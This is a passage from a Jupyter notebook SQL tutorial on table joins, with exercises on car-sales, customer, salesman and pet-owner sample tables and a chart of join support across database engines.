finance 803 \n", "5 13154 75 720210 21409 cash 215 \n", "6 36535 31 908558 19894 finance 215 \n", "7 22813 46 705508 12960 finance 813 \n", "8 56245 36 248621 25938 cash 492 \n", "9 88118 51 341344 19844 finance 215 \n", "\n", " date model_id make model sticker_price cogs \n", "0 1/7/2014 36 Toyota Tundra 26200 15720 \n", "1 1/26/2014 20 Toyota Camry 22000 13200 \n", "2 1/17/2014 46 Toyota Corolla 16000 9600 \n", "3 1/13/2014 31 Honda Accord 22105 13263 \n", "4 1/12/2014 51 Toyota Prius 24200 14520 \n", "5 1/20/2014 75 Subaru Outback 24895 14937 \n", "6 1/30/2014 31 Honda Accord 22105 13263 \n", "7 1/29/2014 46 Toyota Corolla 16000 9600 \n", "8 1/19/2014 36 Toyota Tundra 26200 15720 \n", "9 1/23/2014 51 Toyota Prius 24200 14520 " ] }, "execution_count": 29, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " JOIN car_table ON sales_table.model_id = car_table.model_id\n", " LIMIT 10\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Write a query to join the cust_table to the sales_table, using the customer_id columns in both tables as the key:**" ] }, { "cell_type": "code", "execution_count": 30, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 30, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''') \n", "#print(join_cheat1)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Rewrite the query from above, but instead of selecting all columns, specify just the customer gender and the revenue:**" ] }, { "cell_type": "code", "execution_count": 31, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 31, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(join_cheat2)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Rewrite the query from above, but this time select the customer_id, gender, and revenue:**\n", "- **You'll probably hit an error at first. Try to use what you've learned about this structure \"table_x.column_a\" to fix the issue. Why do you think you need to use this?**" ] }, { "cell_type": "code", "execution_count": 32, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 32, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(join_cheat3)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "A column with the name customer_id appears in both the cust_table and the sales_table. SQL doesn't know which one you want to see. You have to tell it from which table you want the customer_id. \n", "\n", "This can be important when columns in different tables have the same names but totally unrelated values.\n", "\n", "Look at the sales_table again:" ] }, { "cell_type": "code", "execution_count": 33, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 54858</td>\n", " <td> 36</td>\n", " <td> 237906</td>\n", " <td> 21222</td>\n", " <td> finance</td>\n", " <td> 276</td>\n", " <td> 1/7/2014</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 43161</td>\n", " <td> 20</td>\n", " <td> 967016</td>\n", " <td> 19140</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/26/2014</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 40112</td>\n", " <td> 46</td>\n", " <td> 819010</td>\n", " <td> 14720</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/17/2014</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 92495</td>\n", " <td> 31</td>\n", " <td> 633030</td>\n", " <td> 19010</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/13/2014</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 78000</td>\n", " <td> 51</td>\n", " <td> 341877</td>\n", " <td> 22022</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id date\n", "0 54858 36 237906 21222 finance 276 1/7/2014\n", "1 43161 20 967016 19140 finance 225 1/26/2014\n", "2 40112 46 819010 14720 cash 147 1/17/2014\n", "3 92495 31 633030 19010 finance 215 1/13/2014\n", "4 78000 51 341877 22022 finance 803 1/12/2014" ] }, "execution_count": 33, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " LIMIT 5\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Above, there's a column called \"id\".\n", "\n", "Now look at the salesman_table again:" ] }, { "cell_type": "code", "execution_count": 34, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>first_name</th>\n", " <th>last_name</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 949</td>\n", " <td> Samantha</td>\n", " <td> Douglas</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 215</td>\n", " <td> Jared</td>\n", " <td> Case</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 813</td>\n", " <td> Michael</td>\n", " <td> Hill</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 680</td>\n", " <td> Claudine</td>\n", " <td> Hatch</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 276</td>\n", " <td> Joseph</td>\n", " <td> Seney</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id first_name last_name\n", "0 949 Samantha Douglas\n", "1 215 Jared Case\n", "2 813 Michael Hill\n", "3 680 Claudine Hatch\n", "4 276 Joseph Seney" ] }, "execution_count": 34, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " salesman_table\n", " LIMIT 5\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "There's a column named \"id\" in the salesman_table too. However, it doesn't look like those IDs correspond to the sales_table IDs. *In fact, it's the salesman_id column in the sales_table that corresponds to the id column in the salesman_table*. More often than not, your tables will use different names for corresponding columns, and will have columns with identical names that don't correspond at all. \n", "\n", "**Write a query to join the salesman_table with the sales_table (select all columns using an asterisk)**" ] }, { "cell_type": "code", "execution_count": 35, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 35, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''') \n", "#print(join_cheat4)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Practice applying this \"table_x.column_a\" format to all columns in the SELECT clause when you are joining multiple tables, since multiple tables frequenty use the same column names even when they don't correspond. \n", "\n", "It's common to use single-letter aliases for tables to make queries shorter. **Take a look at the query below and make sure you understand what's going on with the table aliases. It's the same query that you wrote earlier, but with aliases to help identify the columns**" ] }, { "cell_type": "code", "execution_count": 36, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>customer_id</th>\n", " <th>gender</th>\n", " <th>revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0 </th>\n", " <td> 237906</td>\n", " <td> female</td>\n", " <td> 21222</td>\n", " </tr>\n", " <tr>\n", " <th>1 </th>\n", " <td> 967016</td>\n", " <td> male</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>2 </th>\n", " <td> 819010</td>\n", " <td> male</td>\n", " <td> 14720</td>\n", " </tr>\n", " <tr>\n", " <th>3 </th>\n", " <td> 633030</td>\n", " <td> male</td>\n", " <td> 19010</td>\n", " </tr>\n", " <tr>\n", " <th>4 </th>\n", " <td> 341877</td>\n", " <td> female</td>\n", " <td> 22022</td>\n", " </tr>\n", " <tr>\n", " <th>5 </th>\n", " <td> 720210</td>\n", " <td> male</td>\n", " <td> 21409</td>\n", " </tr>\n", " <tr>\n", " <th>6 </th>\n", " <td> 908558</td>\n", " <td> male</td>\n", " <td> 19894</td>\n", " </tr>\n", " <tr>\n", " <th>7 </th>\n", " <td> 705508</td>\n", " <td> female</td>\n", " <td> 12960</td>\n", " </tr>\n", " <tr>\n", " <th>8 </th>\n", " <td> 248621</td>\n", " <td> male</td>\n", " <td> 25938</td>\n", " </tr>\n", " <tr>\n", " <th>9 </th>\n", " <td> 341344</td>\n", " <td> female</td>\n", " <td> 19844</td>\n", " </tr>\n", " <tr>\n", " <th>10</th>\n", " <td> 733566</td>\n", " <td> female</td>\n", " <td> 21441</td>\n", " </tr>\n", " <tr>\n", " <th>11</th>\n", " <td> 750195</td>\n", " <td> female</td>\n", " <td> 17462</td>\n", " </tr>\n", " <tr>\n", " <th>12</th>\n", " <td> 461723</td>\n", " <td> male</td>\n", " <td> 17020</td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td> 468665</td>\n", " <td> female</td>\n", " <td> 18040</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td> 556188</td>\n", " <td> female</td>\n", " <td> 18671</td>\n", " </tr>\n", " <tr>\n", " <th>15</th>\n", " <td> 241759</td>\n", " <td> male</td>\n", " <td> 22506</td>\n", " </tr>\n", " <tr>\n", " <th>16</th>\n", " <td> 161369</td>\n", " <td> female</td>\n", " <td> 20460</td>\n", " </tr>\n", " <tr>\n", " <th>17</th>\n", " <td> 731692</td>\n", " <td> female</td>\n", " <td> 13440</td>\n", " </tr>\n", " <tr>\n", " <th>18</th>\n", " <td> 656750</td>\n", " <td> male</td>\n", " <td> 18634</td>\n", " </tr>\n", " <tr>\n", " <th>19</th>\n", " <td> 619020</td>\n", " <td> female</td>\n", " <td> 17312</td>\n", " </tr>\n", " <tr>\n", " <th>20</th>\n", " <td> 413891</td>\n", " <td> male</td>\n", " <td> 23318</td>\n", " </tr>\n", " <tr>\n", " <th>21</th>\n", " <td> 965672</td>\n", " <td> male</td>\n", " <td> 21780</td>\n", " </tr>\n", " <tr>\n", " <th>22</th>\n", " <td> 217720</td>\n", " <td> female</td>\n", " <td> 19418</td>\n", " </tr>\n", " <tr>\n", " <th>23</th>\n", " <td> 946265</td>\n", " <td> male</td>\n", " <td> 17756</td>\n", " </tr>\n", " <tr>\n", " <th>24</th>\n", " <td> 140795</td>\n", " <td> female</td>\n", " <td> 21441</td>\n", " </tr>\n", " <tr>\n", " <th>25</th>\n", " <td> 145479</td>\n", " <td> male</td>\n", " <td> 17905</td>\n", " </tr>\n", " <tr>\n", " <th>26</th>\n", " <td> 961650</td>\n", " <td> female</td>\n", " <td> 16720</td>\n", " </tr>\n", " <tr>\n", " <th>27</th>\n", " <td> 457742</td>\n", " <td> male</td>\n", " <td> 20778</td>\n", " </tr>\n", " <tr>\n", " <th>28</th>\n", " <td> 978159</td>\n", " <td> male</td>\n", " <td> 19667</td>\n", " </tr>\n", " <tr>\n", " <th>29</th>\n", " <td> 474218</td>\n", " <td> male</td>\n", " <td> 19360</td>\n", " </tr>\n", " <tr>\n", " <th>...</th>\n", " <td>...</td>\n", " <td>...</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>70</th>\n", " <td> 253239</td>\n", " <td> male</td>\n", " <td> 20174</td>\n", " </tr>\n", " <tr>\n", " <th>71</th>\n", " <td> 614301</td>\n", " <td> female</td>\n", " <td> 18480</td>\n", " </tr>\n", " <tr>\n", " <th>72</th>\n", " <td> 168495</td>\n", " <td> male</td>\n", " <td> 23474</td>\n", " </tr>\n", " <tr>\n", " <th>73</th>\n", " <td> 699431</td>\n", " <td> female</td>\n", " <td> 19231</td>\n", " </tr>\n", " <tr>\n", " <th>74</th>\n", " <td> 528354</td>\n", " <td> female</td>\n", " <td> 18865</td>\n", " </tr>\n", " <tr>\n", " <th>75</th>\n", " <td> 751098</td>\n", " <td> male</td>\n", " <td> 24104</td>\n", " </tr>\n", " <tr>\n", " <th>76</th>\n", " <td> 480153</td>\n", " <td> female</td>\n", " <td> 20436</td>\n", " </tr>\n", " <tr>\n", " <th>77</th>\n", " <td> 208677</td>\n", " <td> male</td>\n", " <td> 22990</td>\n", " </tr>\n", " <tr>\n", " <th>78</th>\n", " <td> 349494</td>\n", " <td> female</td>\n", " <td> 19580</td>\n", " </tr>\n", " <tr>\n", " <th>79</th>\n", " <td> 206310</td>\n", " <td> female</td>\n", " <td> 17756</td>\n", " </tr>\n", " <tr>\n", " <th>80</th>\n", " <td> 185223</td>\n", " <td> male</td>\n", " <td> 18920</td>\n", " </tr>\n", " <tr>\n", " <th>81</th>\n", " <td> 656181</td>\n", " <td> female</td>\n", " <td> 24646</td>\n", " </tr>\n", " <tr>\n", " <th>82</th>\n", " <td> 393613</td>\n", " <td> female</td>\n", " <td> 14006</td>\n", " </tr>\n", " <tr>\n", " <th>83</th>\n", " <td> 488910</td>\n", " <td> female</td>\n", " <td> 24890</td>\n", " </tr>\n", " <tr>\n", " <th>84</th>\n", " <td> 846630</td>\n", " <td> male</td>\n", " <td> 23401</td>\n", " </tr>\n", " <tr>\n", " <th>85</th>\n", " <td> 534633</td>\n", " <td> male</td>\n", " <td> 20328</td>\n", " </tr>\n", " <tr>\n", " <th>86</th>\n", " <td> 909110</td>\n", " <td> female</td>\n", " <td> 15200</td>\n", " </tr>\n", " <tr>\n", " <th>87</th>\n", " <td> 628031</td>\n", " <td> male</td>\n", " <td> 16189</td>\n", " </tr>\n", " <tr>\n", " <th>88</th>\n", " <td> 743097</td>\n", " <td> female</td>\n", " <td> 15040</td>\n", " </tr>\n", " <tr>\n", " <th>89</th>\n", " <td> 476047</td>\n", " <td> male</td>\n", " <td> 20197</td>\n", " </tr>\n", " <tr>\n", " <th>90</th>\n", " <td> 862765</td>\n", " <td> male</td>\n", " <td> 23232</td>\n", " </tr>\n", " <tr>\n", " <th>91</th>\n", " <td> 597655</td>\n", " <td> male</td>\n", " <td> 16734</td>\n", " </tr>\n", " <tr>\n", " <th>92</th>\n", " <td> 486534</td>\n", " <td> male</td>\n", " <td> 20960</td>\n", " </tr>\n", " <tr>\n", " <th>93</th>\n", " <td> 339830</td>\n", " <td> male</td>\n", " <td> 24148</td>\n", " </tr>\n", " <tr>\n", " <th>94</th>\n", " <td> 283797</td>\n", " <td> male</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>95</th>\n", " <td> 635204</td>\n", " <td> female</td>\n", " <td> 21751</td>\n", " </tr>\n", " <tr>\n", " <th>96</th>\n", " <td> 619016</td>\n", " <td> female</td>\n", " <td> 20413</td>\n", " </tr>\n", " <tr>\n", " <th>97</th>\n", " <td> 183947</td>\n", " <td> male</td>\n", " <td> 20328</td>\n", " </tr>\n", " <tr>\n", " <th>98</th>\n", " <td> 731677</td>\n", " <td> male</td>\n", " <td> 17600</td>\n", " </tr>\n", " <tr>\n", " <th>99</th>\n", " <td> 907549</td>\n", " <td> female</td>\n", " <td> 19894</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>100 rows × 3 columns</p>\n", "</div>" ], "text/plain": [ " customer_id gender revenue\n", "0 237906 female 21222\n", "1 967016 male 19140\n", "2 819010 male 14720\n", "3 633030 male 19010\n", "4 341877 female 22022\n", "5 720210 male 21409\n", "6 908558 male 19894\n", "7 705508 female 12960\n", "8 248621 male 25938\n", "9 341344 female 19844\n", "10 733566 female 21441\n", "11 750195 female 17462\n", "12 461723 male 17020\n", "13 468665 female 18040\n", "14 556188 female 18671\n", "15 241759 male 22506\n", "16 161369 female 20460\n", "17 731692 female 13440\n", "18 656750 male 18634\n", "19 619020 female 17312\n", "20 413891 male 23318\n", "21 965672 male 21780\n", "22 217720 female 19418\n", "23 946265 male 17756\n", "24 140795 female 21441\n", "25 145479 male 17905\n", "26 961650 female 16720\n", "27 457742 male 20778\n", "28 978159 male 19667\n", "29 474218 male 19360\n", ".. ... ... ...\n", "70 253239 male 20174\n", "71 614301 female 18480\n", "72 168495 male 23474\n", "73 699431 female 19231\n", "74 528354 female 18865\n", "75 751098 male 24104\n", "76 480153 female 20436\n", "77 208677 male 22990\n", "78 349494 female 19580\n", "79 206310 female 17756\n", "80 185223 male 18920\n", "81 656181 female 24646\n", "82 393613 female 14006\n", "83 488910 female 24890\n", "84 846630 male 23401\n", "85 534633 male 20328\n", "86 909110 female 15200\n", "87 628031 male 16189\n", "88 743097 female 15040\n", "89 476047 male 20197\n", "90 862765 male 23232\n", "91 597655 male 16734\n", "92 486534 male 20960\n", "93 339830 male 24148\n", "94 283797 male 19140\n", "95 635204 female 21751\n", "96 619016 female 20413\n", "97 183947 male 20328\n", "98 731677 male 17600\n", "99 907549 female 19894\n", "\n", "[100 rows x 3 columns]" ] }, "execution_count": 36, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " S.customer_id,\n", " C.gender,\n", " S.revenue\n", " FROM\n", " sales_table AS S\n", " JOIN cust_table AS C on S.customer_id = C.customer_id\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "** Join the sales_table (assign it the alias S) and salesman_table (alias SM) again.** \n", "- Select the id and salesman_id column from the sales_table \n", "- Also, select the id column from the salesman_table\n", "- Optional: assign aliases to the columns in the SELECT clause to make the result-set easier to read" ] }, { "cell_type": "code", "execution_count": 37, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 37, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''') \n", "#print(join_cheat5)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_________" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Different Types of Joins" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "There are different types of joins you can do according to your needs. Here's a helpful way to visualize your options: http://www.codeproject.com/Articles/33052/Visual-Representation-of-SQL-Joins\n", "\n", "However, not all types of joins are compatible with SQLite and MySQL. The table below breaks down compatibility:" ] }, { "cell_type": "code", "execution_count": 38, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Microsoft SQL Server</th>\n", " <th>MySQL</th>\n", " <th>Oracle</th>\n", " <th>SQLite</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>JOIN or INNER JOIN</th>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " </tr>\n", " <tr>\n", " <th>LEFT JOIN or LEFT OUTER JOIN</th>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " </tr>\n", " <tr>\n", " <th>RIGHT JOIN or RIGHT OUTER JOIN</th>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " <td> ✓</td>\n", " <td> not supported</td>\n", " </tr>\n", " <tr>\n", " <th>OUTER JOIN or FULL OUTER JOIN</th>\n", " <td> ✓</td>\n", " <td> not supported</td>\n", " <td> ✓</td>\n", " <td> not supported</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Microsoft SQL Server MySQL Oracle \\\n", "JOIN or INNER JOIN ✓ ✓ ✓ \n", "LEFT JOIN or LEFT OUTER JOIN ✓ ✓ ✓ \n", "RIGHT JOIN or RIGHT OUTER JOIN ✓ ✓ ✓ \n", "OUTER JOIN or FULL OUTER JOIN ✓ not supported ✓ \n", "\n", " SQLite \n", "JOIN or INNER JOIN ✓ \n", "LEFT JOIN or LEFT OUTER JOIN ✓ \n", "RIGHT JOIN or RIGHT OUTER JOIN not supported \n", "OUTER JOIN or FULL OUTER JOIN not supported " ] }, "execution_count": 38, "metadata": {}, "output_type": "execute_result" } ], "source": [ "join_differences" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_______" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "So far, we've just done a simple join, also called an \"inner join\". To illustrate different types of joins, we're going to use a different \"database\" for the following lesson. First, let's take a look at each one:" ] }, { "cell_type": "code", "execution_count": 39, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Owner_Name</th>\n", " <th>Dog_Name</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Michael Martinez</td>\n", " <td> Chewbacca</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Gilbert Henkel</td>\n", " <td> Max</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> May Reeves</td>\n", " <td> Georgie</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Elizabeth Minier</td>\n", " <td> Sunny</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Donna Ona</td>\n", " <td> Daisy</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Daniel Abner</td>\n", " <td> Jake</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Keith Bursey</td>\n", " <td> Muffin</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Jane Garcia</td>\n", " <td> Admiral</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> Sarah Flores</td>\n", " <td> Bogie</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> David Brace</td>\n", " <td> Fritz</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Owner_Name Dog_Name\n", "0 Michael Martinez Chewbacca\n", "1 Gilbert Henkel Max\n", "2 May Reeves Georgie\n", "3 Elizabeth Minier Sunny\n", "4 Donna Ona Daisy\n", "5 Daniel Abner Jake\n", "6 Keith Bursey Muffin\n", "7 Jane Garcia Admiral\n", "8 Sarah Flores Bogie\n", "9 David Brace Fritz" ] }, "execution_count": 39, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT \n", " *\n", " FROM\n", " Dog_Table\n", " ''') " ] }, { "cell_type": "code", "execution_count": 40, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Owner_Name</th>\n", " <th>Cat_Name</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> Michael Martinez</td>\n", " <td> Mrs. Paws</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> Gilbert Henkel</td>\n", " <td> Mittens</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> May Reeves</td>\n", " <td> Clover</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> Elizabeth Minier</td>\n", " <td> Sweetcakes</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> Donna Ona</td>\n", " <td> Barnie</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> Monika Turner</td>\n", " <td> Cara</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> Adrian Hardiman</td>\n", " <td> Annabelle</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> Loyd Mossman</td>\n", " <td> Garfield</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> Heather Emery</td>\n", " <td> Engine</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> Lauren Larson</td>\n", " <td> Midnight</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Owner_Name Cat_Name\n", "0 Michael Martinez Mrs. Paws\n", "1 Gilbert Henkel Mittens\n", "2 May Reeves Clover\n", "3 Elizabeth Minier Sweetcakes\n", "4 Donna Ona Barnie\n", "5 Monika Turner Cara\n", "6 Adrian Hardiman Annabelle\n", "7 Loyd Mossman Garfield\n", "8 Heather Emery Engine\n", "9 Lauren Larson Midnight" ] }, "execution_count": 40, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT \n", " *\n", " FROM\n", " Cat_Table\n", " ''') " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Notice that the Owner_Name columns on each table have *some* corresponding values (Michael, Gilbert, May and Elizabeth and Donna are in both tables), but they both also have values that don't overlap. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### JOINS or INNER JOINS" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ " SELECT\n", " *\n", " FROM \n", " table_x X\n", " JOIN table_y Y ON X.column_a = Y.column_a # Returns rows when values match on both tables." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "This is what we used in the initial example. Simple joins, (also called Inner Joins) will combine tables only where there are corresponding values on both tables.\n", "\n", "**Write a query below to join the Cat_Table and Dog_Table using the same method we've used before:**" ] }, { "cell_type": "code", "execution_count": 41, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 41, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(inner_join_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Notice that the result-set only includes the names that are in both tables. Think of inner joins as being the overlapping parts of a Venn Diagram. So, essentially we're looking at results *only* where the pet owner has both a cat and a dog. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_________" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "###LEFT JOINS or LEFT OUTER JOINS\n", "\n", " SELECT\n", " *\n", " FROM \n", " table_x X\n", " LEFT JOIN table_y Y ON X.column_a = Y.column_a # Returns all rows from 1st table, rows that match from 2nd\n", "\n", "- LEFT JOINS will return all rows from the first table, but only rows from the second table if a value matches on the key column. \n", "\n", "**Rewrite your query from above, but instead of \"JOIN\", write \"LEFT JOIN\":**" ] }, { "cell_type": "code", "execution_count": 42, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " 